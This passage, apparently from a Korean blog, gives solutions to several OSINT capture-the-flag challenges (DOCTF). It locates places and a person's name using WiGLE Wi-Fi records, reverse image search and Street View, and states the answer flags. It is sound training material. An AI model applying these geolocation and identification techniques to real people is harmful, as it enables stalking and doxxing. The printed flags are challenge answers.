this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2614&quot; height=&quot;1510&quot; data-origin-width=&quot;2614&quot; data-origin-height=&quot;1510&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 wigle 기록 중 ktx secure wifi에는 &quot;공주&quot; 주변지역으로 위치가 나오는 걸 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2132&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m8mwU/btrRK1ncGSz/T9qCD9Tm66SBSrlSibwGe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m8mwU/btrRK1ncGSz/T9qCD9Tm66SBSrlSibwGe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m8mwU/btrRK1ncGSz/T9qCD9Tm66SBSrlSibwGe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm8mwU%2FbtrRK1ncGSz%2FT9qCD9Tm66SBSrlSibwGe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;820&quot; height=&quot;408&quot; data-origin-width=&quot;2132&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 전주역에서 공주역까지 가는 기차를 평일과 주말을 기준으로 찾아봤다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;1506&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HJvfT/btrRMzXYmFc/bSLIsGudkrxEbOKBCcP7LK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HJvfT/btrRMzXYmFc/bSLIsGudkrxEbOKBCcP7LK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HJvfT/btrRMzXYmFc/bSLIsGudkrxEbOKBCcP7LK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHJvfT%2FbtrRMzXYmFc%2FbSLIsGudkrxEbOKBCcP7LK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;422&quot; height=&quot;380&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;1506&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1666&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OmyFG/btrRKLrbUl4/b8ToN6iACNv66yijFpopW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OmyFG/btrRKLrbUl4/b8ToN6iACNv66yijFpopW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OmyFG/btrRKLrbUl4/b8ToN6iACNv66yijFpopW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOmyFG%2FbtrRKLrbUl4%2Fb8ToN6iACNv66yijFpopW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;529&quot; height=&quot;548&quot; data-origin-width=&quot;1666&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignRight&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1684&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIeKdV/btrRNno3Sad/WUKDVXIIWEP5pWbi88oHP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIeKdV/btrRNno3Sad/WUKDVXIIWEP5pWbi88oHP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIeKdV/btrRNno3Sad/WUKDVXIIWEP5pWbi88oHP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIeKdV%2FbtrRNno3Sad%2FWUKDVXIIWEP5pWbi88oHP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;529&quot; height=&quot;550&quot; data-origin-width=&quot;1684&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;평일에는 KTX가 504, 510, 516, 520가 주말에는 502, 510, 516이 다니는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 flag는 &lt;b&gt;DOCTF{KTX_520}&lt;/b&gt;이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;4. The&amp;nbsp;Sky&amp;nbsp;is&amp;nbsp;the&amp;nbsp;limit!&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4번 문제의 의도는 문제 파일을 이용하여 학교를 찾는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg1ecV/btrROspSEYN/iflO66mxVp8qHp97KGE1T1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg1ecV/btrROspSEYN/iflO66mxVp8qHp97KGE1T1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg1ecV/btrROspSEYN/iflO66mxVp8qHp97KGE1T1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg1ecV%2FbtrROspSEYN%2FiflO66mxVp8qHp97KGE1T1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2114&quot; height=&quot;608&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 보면 어김없이 wigle 기록이 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1886&quot; data-origin-height=&quot;1324&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZ7cqd/btrRNB8zHh9/nnVb4n9lMntkS2pwplkXsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZ7cqd/btrRNB8zHh9/nnVb4n9lMntkS2pwplkXsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZ7cqd/btrRNB8zHh9/nnVb4n9lMntkS2pwplkXsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZ7cqd%2FbtrRNB8zHh9%2FnnVb4n9lMntkS2pwplkXsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;686&quot; height=&quot;482&quot; data-origin-width=&quot;1886&quot; data-origin-height=&quot;1324&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 eduroam를 ssid로 가지는 항목을 wigle에 검색을 했더니 고려대학교로 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2100&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o6kZh/btrRK0V1POh/Etcorl9AEBYyHXBdqMgY80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o6kZh/btrRK0V1POh/Etcorl9AEBYyHXBdqMgY80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o6kZh/btrRK0V1POh/Etcorl9AEBYyHXBdqMgY80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo6kZh%2FbtrRK0V1POh%2FEtcorl9AEBYyHXBdqMgY80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2100&quot; height=&quot;1062&quot; data-origin-width=&quot;2100&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag는 &lt;b&gt;DOCTF{korea_university}&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;5. Friends&amp;nbsp;shouldn't&amp;nbsp;doxx&amp;nbsp;e/o&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 문제파일에서 데이터를 쓰게 해준 친구의 이름을 찾는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2148&quot; data-origin-height=&quot;736&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkgsvq/btrRMwmLiCa/GmLXtWH5McKvKbmyuAYkQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkgsvq/btrRMwmLiCa/GmLXtWH5McKvKbmyuAYkQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkgsvq/btrRMwmLiCa/GmLXtWH5McKvKbmyuAYkQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbkgsvq%2FbtrRMwmLiCa%2FGmLXtWH5McKvKbmyuAYkQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2148&quot; height=&quot;736&quot; data-origin-width=&quot;2148&quot; data-origin-height=&quot;736&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제파일을 둘러보다가 아래와 같이 Noah의 Galaxy s22 ultra의 기록이 보인다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1334&quot; data-origin-height=&quot;912&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NzwfC/btrRJo36jMi/cB9Rfy5sizUIZKWXpduKxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NzwfC/btrRJo36jMi/cB9Rfy5sizUIZKWXpduKxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NzwfC/btrRJo36jMi/cB9Rfy5sizUIZKWXpduKxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNzwfC%2FbtrRJo36jMi%2FcB9Rfy5sizUIZKWXpduKxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;470&quot; data-origin-width=&quot;1334&quot; data-origin-height=&quot;912&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 flag에 &lt;b&gt;DOCTF{noah}&lt;/b&gt;라고 했는데 정답이였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;6. A&amp;nbsp;slice&amp;nbsp;of&amp;nbsp;time&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는 서울로 이동했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서울 위치중 문제 사진이 어디서 찍혔는지 물어본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2094&quot; data-origin-height=&quot;618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eMMppl/btrRNo9lP5B/MtExqPqbLKZKpCK1OiUkO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eMMppl/btrRNo9lP5B/MtExqPqbLKZKpCK1OiUkO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eMMppl/btrRNo9lP5B/MtExqPqbLKZKpCK1OiUkO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeMMppl%2FbtrRNo9lP5B%2FMtExqPqbLKZKpCK1OiUkO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2094&quot; height=&quot;618&quot; data-origin-width=&quot;2094&quot; data-origin-height=&quot;618&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제파일 사진은 아래와 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;961&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qABXS/btrRLLEvssn/jx3jAjqobIMXf4CX09ld41/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qABXS/btrRLLEvssn/jx3jAjqobIMXf4CX09ld41/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qABXS/btrRLLEvssn/jx3jAjqobIMXf4CX09ld41/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqABXS%2FbtrRLLEvssn%2Fjx3jAjqobIMXf4CX09ld41%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;761&quot; height=&quot;571&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;961&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사진을 구글 이미지 검색하면 국립중앙박물관으로 나타난다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2578&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/coOYWU/btrROqFDbMc/BuAxP1hBANN5BzUWbK2mk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/coOYWU/btrROqFDbMc/BuAxP1hBANN5BzUWbK2mk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/coOYWU/btrROqFDbMc/BuAxP1hBANN5BzUWbK2mk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcoOYWU%2FbtrROqFDbMc%2FBuAxP1hBANN5BzUWbK2mk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2578&quot; height=&quot;1096&quot; data-origin-width=&quot;2578&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 flag는 &lt;b&gt;DOCTF{national_museum_of_korea}&lt;/b&gt;로 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;7. Foreign&amp;nbsp;lands&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7번 문제는 서울 종로구 남서쪽에 있는 어떠한 곳에서 찍은 사진을 보고 그 곳을 찾아내는 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2128&quot; data-origin-height=&quot;694&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqZckz/btrRNoIimDu/3mmUQgStToNLilXeNb90lK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqZckz/btrRNoIimDu/3mmUQgStToNLilXeNb90lK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqZckz/btrRNoIimDu/3mmUQgStToNLilXeNb90lK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqZckz%2FbtrRNoIimDu%2F3mmUQgStToNLilXeNb90lK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2128&quot; height=&quot;694&quot; data-origin-width=&quot;2128&quot; data-origin-height=&quot;694&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 문제 사진을 확인해보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;575&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EtiAj/btrRMbJQy9U/wPkWH48y8AC6vIzNaJyhD0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EtiAj/btrRMbJQy9U/wPkWH48y8AC6vIzNaJyhD0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EtiAj/btrRMbJQy9U/wPkWH48y8AC6vIzNaJyhD0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEtiAj%2FbtrRMbJQy9U%2FwPkWH48y8AC6vIzNaJyhD0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;818&quot; height=&quot;367&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;575&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사진의 위치를 찾을 수 있는 단서는 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1669035076768&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. 자이(xi) 아파트가 보이는 위치임
2. 아파트 주변에는 교회 하나가 있음&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 이 아파트의 대략적인 위치를 찾아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서울 종로구 자이 아파트라고 구글에 치면 경희궁자이아파트 인 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2342&quot; data-origin-height=&quot;1338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AOrqg/btrRH54HZsc/zf0LfQKsfLtET50KXdLF2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AOrqg/btrRH54HZsc/zf0LfQKsfLtET50KXdLF2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AOrqg/btrRH54HZsc/zf0LfQKsfLtET50KXdLF2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAOrqg%2FbtrRH54HZsc%2Fzf0LfQKsfLtET50KXdLF2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;681&quot; height=&quot;389&quot; data-origin-width=&quot;2342&quot; data-origin-height=&quot;1338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 아파트는 4단지까지 있기 때문에 아까 단서 중 하나인 교회를 기반으로 무슨 단지인지 찾아야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자이아파트가 모여있는 곳을 기준으로 구글 지도에 교회를 찾아보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2878&quot; data-origin-height=&quot;1518&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKSY6V/btrRN4JslVD/2Np3tRB0mseqWMI9PWkpC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKSY6V/btrRN4JslVD/2Np3tRB0mseqWMI9PWkpC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKSY6V/btrRN4JslVD/2Np3tRB0mseqWMI9PWkpC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKSY6V%2FbtrRN4JslVD%2F2Np3tRB0mseqWMI9PWkpC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;813&quot; height=&quot;429&quot; data-origin-width=&quot;2878&quot; data-origin-height=&quot;1518&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사진에는 교회의 십자가가 은색이고 위로 튀어나와 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 여러 교회들 중에 십자가가 은색이고 위로 튀어나와 있는 것은 서대문교회 인 것을 알아낼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;1022&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1nWR6/btrRMUHttgC/AoUBbkOl5zbFeUhaJxDgQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1nWR6/btrRMUHttgC/AoUBbkOl5zbFeUhaJxDgQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1nWR6/btrRMUHttgC/AoUBbkOl5zbFeUhaJxDgQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1nWR6%2FbtrRMUHttgC%2FAoUBbkOl5zbFeUhaJxDgQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;393&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;1022&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 서대문교회와 자이아파트가 동시에 보이는 위치의 스트릿뷰를 확인하면 아래와 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;1352&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xR4r3/btrRJOO9FK6/pBSld0Ml7mXJmDKcGwkfF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xR4r3/btrRJOO9FK6/pBSld0Ml7mXJmDKcGwkfF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xR4r3/btrRJOO9FK6/pBSld0Ml7mXJmDKcGwkfF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxR4r3%2FbtrRJOO9FK6%2FpBSld0Ml7mXJmDKcGwkfF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;471&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;1352&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 사진이 문제 사진의 위치가 비슷하다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
